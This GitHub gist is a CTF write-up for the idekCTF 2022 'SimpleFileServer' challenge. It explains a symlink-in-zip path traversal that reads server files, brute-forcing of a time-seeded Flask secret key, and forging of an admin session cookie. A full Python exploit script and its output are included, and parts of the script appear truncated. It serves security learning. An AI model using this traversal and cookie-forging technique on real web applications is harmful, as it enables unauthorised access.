Skip to content

Instantly share code, notes, and snippets.

Last active February 27, 2023 23:55
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?

SimpleFileServer - idekCTF 2022


All I wanted was a website letting me host files anonymously for free, for ever




Upon looking through the Dockerfile, we notice that flag.txt is only readable by root, and executing the flag binary presumably grabs the flag, with setuid permissions.

Looking at, there is a fairly standard looking logger, the secret key comes from an environment variable, and the first few views don't look exploitable. The uploads view uses Flask's safe send_from_directory to send a file from the uploads directory, and returns 404 if the file doesn't exist or if permission is denied. Finally, /flag runs the flag binary to give the flag, but only if the user is admin.

Since there doesn't appear to be an easy target for remote code execution and the webserver can't read the flag file, the goal is most likely to forge a session cookie with admin=True, for which we need the session cookie, which is set in is run as part of Gunicorn (/usr/local/bin/gunicorn --bind --config ...) when Gunicorn boots up.

import random
import os
import time

random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

Author note: some contestants assumed that the config file would be run every time a new worker booted, causing them to think that time.time() was effectively 'now'. This assumption is incorrect, and it actually only runs once, when Gunicorn itself starts.

To determine the secret key, we need to determine the SECRET_OFFSET. This can be found using local file inclusion: if we trick Flask to send us, then we can read the SECRET_OFFSET. To detemine the starting time of the server (time.time()), we can read the server log. In particular, the log will contain an entry [TIMESTAMP] [#] [INFO] Starting gunicorn 20.1.0 which reveals the second that the app was booted (and hence, was run).

Knowing the secret offset and starting time to the nearest second means that we'll need to brute force around 1000-5000 seeds, because could have been run any time within 1-2 seconds of the log entry.

Local File Inclusion

There is only one way to get files onto the server: the upload page. Conveniently, uploaded files are accessible through the /uploads/<path> path. Flask does not actually verify that the real path provided is inside the base directory, so we can use symlinks to escape out of the uploads folder. If we create a symlink aaaaa -> /, then we can access http://localhost:1337/uploads/id/aaaaa/tmp/server.log and http://localhost:1337/uploads/id/aaaaa/app/ This can be done with ln -s / aaaaa && zip --symlinks aaaaa.

Bruteforcing the key

Once we have the starting timestamp and SECRET_OFFSET, we can start bruteforcing the possible secret keys using flask-unsign, or a similar tool to verify if a secret key is correct for a given cookie (we can register for an account on the site to get a valid cookie). Once it is found, we can forge a cookie and grab the flag.

Full exploit script

import requests
import os
import re
from pwn import info
from datetime import datetime
import random

server = ""

# register account
s = requests.session()"{server}/register", data = {
	"username": os.urandom(8).hex(),
	"password": os.urandom(8).hex()

### get gunicorn full file read
os.system("ln -s / aaaaa && zip --symlinks aaaaa && rm aaaaa")
r ="{server}/upload", files = {
	"file": (
		open("", "rb").read()
id = re.findall(r'Your unique ID is <a href="/uploads/(.*)">', r.text)[0]

# read timestamp from server.log
timestamp = s.get(f"{server}/uploads/{id}/aaaaa/tmp/server.log").text
info("Got server log:")

date = re.findall(r'\[(.*)\] \[.*\[INFO\] Listening at', timestamp)[-1]
parsed = int(datetime.strptime(date, "%Y-%m-%d %H:%M:%S %z").timestamp() * 1000)
info(f"time.time() ~ {parsed}")

# read offset from
conf_py = s.get(f"{server}/uploads/{id}/aaaaa/app/").text
s_offset = re.findall(r'SECRET_OFFSET = (.*)\n', conf_py)[0].split()[0]
info("SECRET_OFFSET = " + s_offset)
parsed += int(s_offset) * 1000

# bruteforce within error
poss_keys = []
for poss_date in range(parsed - 5000, parsed + 5000):
	poss_keys.append("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

# write to wordlist then flask-unsign
with open("keys.txt", "w") as f:
res = os.popen(f"flask-unsign -uc {s.cookies.get_dict().get('session')} -w keys.txt").read().split("\n")[0].strip("'")
info(f"Got secret: {res}")

# forge cookie
forged = os.popen(f"""flask-unsign -sc --secret={res} --cookie="{{\\"admin\\":True}}" """).read().split("\n")[0]
info(f"Forged cookie: {forged}")

# read flag
info(requests.get(f"{server}/flag", cookies = {"session": forged}).text)

# clean up


$ python3
  adding: aaaaa (stored 0%)
[*] Got server log:
[*] [2023-01-14 23:03:32 +0000] [8] [INFO] Starting gunicorn 20.1.0
    [2023-01-14 23:03:32 +0000] [8] [INFO] Listening at: (8)
    [2023-01-14 23:03:32 +0000] [8] [INFO] Using worker: sync
    [2023-01-14 23:03:32 +0000] [14] [INFO] Booting worker wi
[*] time.time() ~ 1673737412000
[*] Got
[*] SECRET_OFFSET = -67198624
[*] SECRET_OFFSET = -67198624
[*] Session decodes to: {'admin': False, 'uid': 'be420ff2b2d78341'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 5888 attemptsa8639e40fd0e
[*] Got secret: e897071bf3d5dc6ff7882fc0b64ece5c
[*] Forged cookie: eyJhZG1pbiI6dHJ1ZX0.Y8OGYg.d-H--_yRX36EHL73pt1mzlFZkcE
[*] idek{s1mpl3_expl01t_s3rver}

Flag: idek{s1mpl3_expl01t_s3rver}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment